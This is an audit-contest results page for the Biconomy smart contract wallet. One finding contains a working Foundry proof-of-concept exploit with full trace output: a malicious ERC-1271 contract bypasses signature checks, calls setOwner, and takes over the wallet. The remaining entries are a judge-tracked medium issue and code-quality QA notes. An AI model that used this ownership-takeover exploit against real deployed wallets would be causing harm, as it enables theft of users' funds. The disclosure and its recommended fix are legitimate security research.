Biconomy - Smart Contract Wallet contest - Atarpara's results

One-Stop solution to enable an effortless experience in your dApp to onboard new users and abstract away transaction complexities.

General Information

Platform: Code4rena

Start Date: 04/01/2023

Pot Size: $60,500 USDC

Total HM: 15

Participants: 105

Period: 5 days

Judge: gzeon

Total Solo HM: 1

Id: 200

League: ETH

Biconomy

Findings Distribution

Researcher Performance

Rank: 10/105

Findings: 3

Award: $925.81

QA:
grade-b

🌟 Selected for report: 1

🚀 Solo Findings: 0

Awards

22.7235 USDC - $22.72

Labels

bug
3 (High Risk)
satisfactory
sponsor confirmed
duplicate-175

External Links

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L317-L342 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L229 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L109-L114 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L82-L85

Vulnerability details

Impact

Any Malicious User can claim ownership of smartAccount.sol contract and steal user fund via this contract.

Possible Exploit Scenario

  1. Steal All Ether in this contract
  2. Steal All ERC20 Tokens
  3. change the implemetion contract in proxy
  4. change entry point address
  5. withdraw deposit from entrypoint
  6. execute any arbitrary Tx can steal funds from other User

Proof of Concept

File: contract/smart-contract/SmartAccount.sol

// onlyOwner OR self
82: modifier mixedAuth {
83:   require(msg.sender == owner || msg.sender == address(this),"Only owner or self");
84:    _;
85: }

109: function setOwner(address _newOwner) external mixedAuth {
110:     require(_newOwner != address(0), "Smart Account:: new Signatory address cannot be zero");
111:     address oldOwner = owner;
112:     owner = _newOwner;
113:     emit EOAChanged(address(this), oldOwner, _newOwner);
114: }

Here SetOwner fucntion use mixedAuth modifier means we Proxy can change owner of SmartAccount. Malicious user can bypass checkSignature function via malicious ERC1271 contract and execute functionself call and pass the mixAuth modifier and change owner of the SmartAccountProxy.

Exploit Steps:

  1. Deploy ERC-1271 contract with malicios isValidSignature function always return ERC1271_MAGIC_Value
  2. Create malicious calldata for execTransaction function
  3. Execute exceTransaction with _tx.to = proxyAddress ,_tx.data = abi.encode("setOwner(address)", maliciousOwner)and signature= abi.encode(address(maliciousERC1271),65, uint8(0),0)

Diagram:

Foundry POC:

contract SmartAccountTest is Test {
    function setUp() public {

    }

    function testExploit() public {

        address owner = vm.addr(0x01);
        address maliciousOwner = vm.addr(0x02);

        Malicious_ERC1271 erc1271 = new Malicious_ERC1271(); // deploy malicious erc1271 contract always return erc1271_magic_value
        EntryPoint eP = new EntryPoint();                                     // entryPoint contract
        DefaultCallbackHandler handler = new DefaultCallbackHandler();       // callback handler
        SmartAccount implementation = new SmartAccount();                     // deploy implementation
        SmartAccountFactory factory = new SmartAccountFactory(address(implementation)); // deploy factory

        SmartAccount proxyInstance;
        proxyInstance = SmartAccount(payable(address(factory.deployWallet(owner, address(eP), address(handler)))));

        assertEq(SmartAccount(proxyInstance).owner(), owner);

        Transaction memory _tx = Transaction({
            to : address(proxyInstance),
            value : 0,
            data : abi.encodeWithSignature("setOwner(address)", maliciousOwner),
            operation : Enum.Operation.Call,
            targetTxGas: 0
        });

        FeeRefund memory refundInfo = FeeRefund({
            baseGas: 21000,
            gasPrice: 0,
            tokenGasPriceFactor: 0, 
            gasToken: address(0x00), 
            refundReceiver: payable(address(0x00))
        });

        bytes memory sig = abi.encode(address(erc1271), 65, uint8(0), 0);

        uint256 batchId = 0;

        assertEq(SmartAccount(proxyInstance).owner(), owner);

        proxyInstance.execTransaction(_tx,batchId,refundInfo,sig);

        assertEq(SmartAccount(proxyInstance).owner(), maliciousOwner);
    }
}

Output:

forge t -vvvv -m testExploit Running 1 test for test/SmartAccount.t.sol:SmartAccountTest [PASS] testExploit() (gas: 7179483) Traces: [98] SmartAccountTest::setUp() └─ ← () [7179483] SmartAccountTest::testExploit() ├─ [0] VM::addr(<pk>) [staticcall] │ └─ ← 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf ├─ [0] VM::addr(<pk>) [staticcall] │ └─ ← 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF ├─ [84535] → new Malicious_ERC1271@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f │ └─ ← 422 bytes of code ├─ [2808470] → new EntryPoint@0x2e234DAe75C793f67A35089C9d99245E1C58470b │ ├─ [99947] → new SenderCreator@0xffD4505B3452Dc22f8473616d50503bA9E1710Ac │ │ └─ ← 499 bytes of code │ └─ ← 13367 bytes of code ├─ [284724] → new DefaultCallbackHandler@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a │ └─ ← 1422 bytes of code ├─ [3074781] → new SmartAccount@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9 │ └─ ← 15357 bytes of code ├─ [482235] → new SmartAccountFactory@0xc7183455a4C133Ae270771860664b6B7ec320bB1 │ └─ ← 2407 bytes of code ├─ [232527] SmartAccountFactory::deployWallet(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, EntryPoint: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], DefaultCallbackHandler: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) │ ├─ [61529] → new Proxy@0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c │ │ └─ ← 195 bytes of code │ ├─ [114086] Proxy::init(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, EntryPoint: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], DefaultCallbackHandler: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) │ │ ├─ [113769] SmartAccount::init(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, EntryPoint: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], DefaultCallbackHandler: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [delegatecall] │ │ │ ├─ emit Initialized(version: 1) │ │ │ └─ ← () │ │ └─ ← () │ └─ ← Proxy: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c] ├─ [713] Proxy::owner() [staticcall] │ ├─ [405] SmartAccount::owner() [delegatecall] │ │ └─ ← 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf │ └─ ← 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf ├─ [713] Proxy::owner() [staticcall] │ ├─ [405] SmartAccount::owner() [delegatecall] │ │ └─ ← 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf │ └─ ← 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf ├─ [36750] Proxy::execTransaction((0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 0, 0x13af40350000000000000000000000002b5ad5c4795c026514f8317c7a215e218dccd6cf, 0, 0), 0, (21000, 0, 0, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000), 0x0000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f000000000000000000000000000000000000000000000000000000000000004100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) │ ├─ [36322] SmartAccount::execTransaction((0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 0, 0x13af40350000000000000000000000002b5ad5c4795c026514f8317c7a215e218dccd6cf, 0, 0), 0, (21000, 0, 0, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000), 0x0000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f000000000000000000000000000000000000000000000000000000000000004100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) [delegatecall] │ │ ├─ [1026] Malicious_ERC1271::isValidSignature(0x1901219fc1a1ee6258fd53d228782f56007c6e7466924ee67c25cf9c7647e9f987fbd06a39817f8a08b16a2d790315f55def5a2b576e28ccaf10fbde3069c7cf6c2d, 0x) [staticcall] │ │ │ └─ ← 0x20c13b0b │ │ ├─ [3104] Proxy::setOwner(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) │ │ │ ├─ [2796] SmartAccount::setOwner(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [delegatecall] │ │ │ │ ├─ emit EOAChanged(_scw: Proxy: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c], _oldEOA: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, _newEOA: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) │ │ │ │ └─ ← () │ │ │ └─ ← () │ │ ├─ emit ExecutionSuccess(to: Proxy: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c], value: 0, data: 0x13af40350000000000000000000000002b5ad5c4795c026514f8317c7a215e218dccd6cf, operation: 0, txGas: 8937393460509776806) │ │ └─ ← true │ └─ ← true ├─ [713] Proxy::owner() [staticcall] │ ├─ [405] SmartAccount::owner() [delegatecall] │ │ └─ ← 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF │ └─ ← 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF └─ ← () Test result: ok. 1 passed; 0 failed; finished in 2.26ms

Tools Used

Manual Review

Remove the mixAuth from the critical function or use onlyOwner can call erc1271 signature functionality

#0 - c4-judge

2023-01-17T07:04:59Z

gzeon-c4 marked the issue as duplicate of #175

#1 - c4-sponsor

2023-01-26T00:11:28Z

livingrockrises marked the issue as sponsor confirmed

#2 - c4-judge

2023-02-10T12:28:26Z

gzeon-c4 marked the issue as satisfactory

Findings Information

🌟 Selected for report: Atarpara

Also found by: gz627, zapaz

Labels

bug
2 (Med Risk)
judge review requested
primary issue
satisfactory
selected for report
sponsor confirmed
M-06

Awards

866.5899 USDC - $866.59

External Links

#0 - c4-judge

2023-01-17T07:17:31Z

gzeon-c4 marked the issue as duplicate of #370

#1 - c4-sponsor

2023-01-26T00:24:27Z

livingrockrises marked the issue as sponsor confirmed

#2 - livingrockrises

2023-01-26T00:24:46Z

this should be a seperate primary issue

#3 - c4-sponsor

2023-01-26T00:24:51Z

livingrockrises requested judge review

#4 - c4-judge

2023-02-10T11:39:55Z

gzeon-c4 marked the issue as selected for report

#5 - gzeon-c4

2023-02-10T11:40:30Z

Selected as best as this issue also mention the wrong function signature.

#6 - c4-judge

2023-02-10T12:17:52Z

gzeon-c4 marked the issue as satisfactory

QA Report

Q-01 Use ReentrancyGuard instead of ReentrancyGuardUpgradeable

ReentrancyGuardUpgradeable.sol is recommend for the upgradble contract but SmartAccount.sol is the non-upgradable contract so use only ReentrancyGuard.sol.

FileName: scw-contract/contracts/smart-wallet-contract/SmartAccount.sol

import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L7

Q-02 Remove Duplicate Comment

FileName: scw-contract/contracts/smart-wallet-contract/base/Executor.sol

    // Could add a flag fromEntryPoint for AA txn
    event ExecutionFailure(address to, uint256 value, bytes data, Enum.Operation operation, uint256 txGas);
    event ExecutionSuccess(address to, uint256 value, bytes data, Enum.Operation operation, uint256 txGas);

    // Could add a flag fromEntryPoint for AA txn

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/base/Executor.sol#L8-L12

Q-03 Update Lastest Document Link

Solidity current lastest docs link is https://docs.soliditylang.org/en/v0.8.17/internals/layout_in_memory.html#layout-in-memory.

FileName: scw-contract/contracts/smart-wallet-contract/common/SecuredTokenTransfer.sol

            // We write the return value to scratch space.
            // See https://docs.soliditylang.org/en/v0.7.6/internals/layout_in_memory.html#layout-in-memory

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/common/SecuredTokenTransfer.sol#L20-L21

Q-04 Remove unimported Lib

Please remove unimported lib opeartion

FileName: scw-contract/contracts/smart-wallet-contract/BaseSmartAccount.sol

    using UserOperationLib for UserOperation;

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/BaseSmartAccount.sol#L34

Q-05 Update comment as per EIP-1271 standard

FileName: scw-contract/contracts/smart-wallet-contract/interfaces/ISignatureValidator.sol

    /**
     * @dev Should return whether the signature provided is valid for the provided data
     * @param _data Arbitrary length data signed on the behalf of address(this)
     * @param _signature Signature byte array associated with _data
     *
     * MUST return the bytes4 magic value 0x20c13b0b when function passes.
     * MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5)
     * MUST allow external calls
     */

https://github.com/code-423n4/2023-01-biconomy/blob/b94da74fc5e6ce27e63000d89a1835308dd8888d/scw-contracts/contracts/smart-contract-wallet/interfaces/ISignatureValidator.sol#L10-L18

Q-06 Remove Unnecessary Comment

FileName: scw-contract/contracts/smart-wallet-contract/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol

// import "../samples/Signatures.sol";

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol#L10

    // possibly //  using Signatures for UserOperation;

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol#L25

FileName: scw-contract/contracts/smart-wallet-contract/paymasters/PaymasterHeplers.sol

    //@review

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/paymasters/PaymasterHelpers.sol#L15

FileName: scw-contract/contracts/smart-wallet-contract/SmartAccount.sol

    // Storage

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L33

    // review? if rename wallet to account is must

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L44

    // review

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L58

    // nice to have
    // event SmartAccountInitialized(IEntryPoint indexed entryPoint, address indexed owner);

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L68-L69

        //console.log("init %s", 21000 + msg.data.length * 8);

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L201

            // uint256 extraGas;
            if (refundInfo.gasPrice > 0) {
                //console.log("sent %s", startGas - gasleft());
                // extraGas = gasleft();
                payment = handlePayment(startGas - gasleft(), refundInfo.baseGas, refundInfo.gasPrice, refundInfo.tokenGasPriceFactor, refundInfo.gasToken, refundInfo.refundReceiver);
                emit WalletHandlePayment(txHash, payment);
            }
            // extraGas = extraGas - gasleft();
            //console.log("extra gas %s ", extraGas);

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L235-L243

// init
    // Initialize / Setup
    // Used to setup
    // i. owner ii. entry point address iii. handler

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L162-L165

        // uint256 startGas = gasleft();

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L255

        // uint256 requiredGas = startGas - gasleft();
        //console.log("hp %s", requiredGas);

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L267-L268

        //console.log("hpr %s", requiredGas);
        // Convert response to string and return via error message

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L292-L293

    //@review

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L487

Q-07 Remove Unused Imported contract

FileName: scw-contract/contracts/smart-wallet-contract/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol

import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/utils/Address.sol";

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol#L7-L8

Q-08 Follow Same Comment format for all contracts

Follow same same multi-line comment format in all contrats.

FileName: scw-contract/contracts/smart-wallet-contract/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol

Correct

    /**
     * add a deposit for this paymaster and given paymasterId (Dapp Depositor address), used for paying for transaction fees
     */

Slightly mismatched

    /**
    this function will let owner change signer
    */

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol#L62-L64

FileName: scw-contract/contracts/smart-wallet-contract/paymasters/BasePaymaster.sol

    /// validate the call is made from a valid entrypoint

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/paymasters/BasePaymaster.sol#L103

FileName: scw-contract/contracts/smart-wallet-contract/SmartAccount.sol

Use same format for whole contact

Q-09 Code Doesn't format Properly

Format code with forge fmt or prettier for all contracts.

#0 - c4-judge

2023-01-22T15:37:08Z

gzeon-c4 marked the issue as grade-b

#1 - c4-sponsor

2023-02-09T12:32:11Z

livingrockrises marked the issue as sponsor confirmed

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter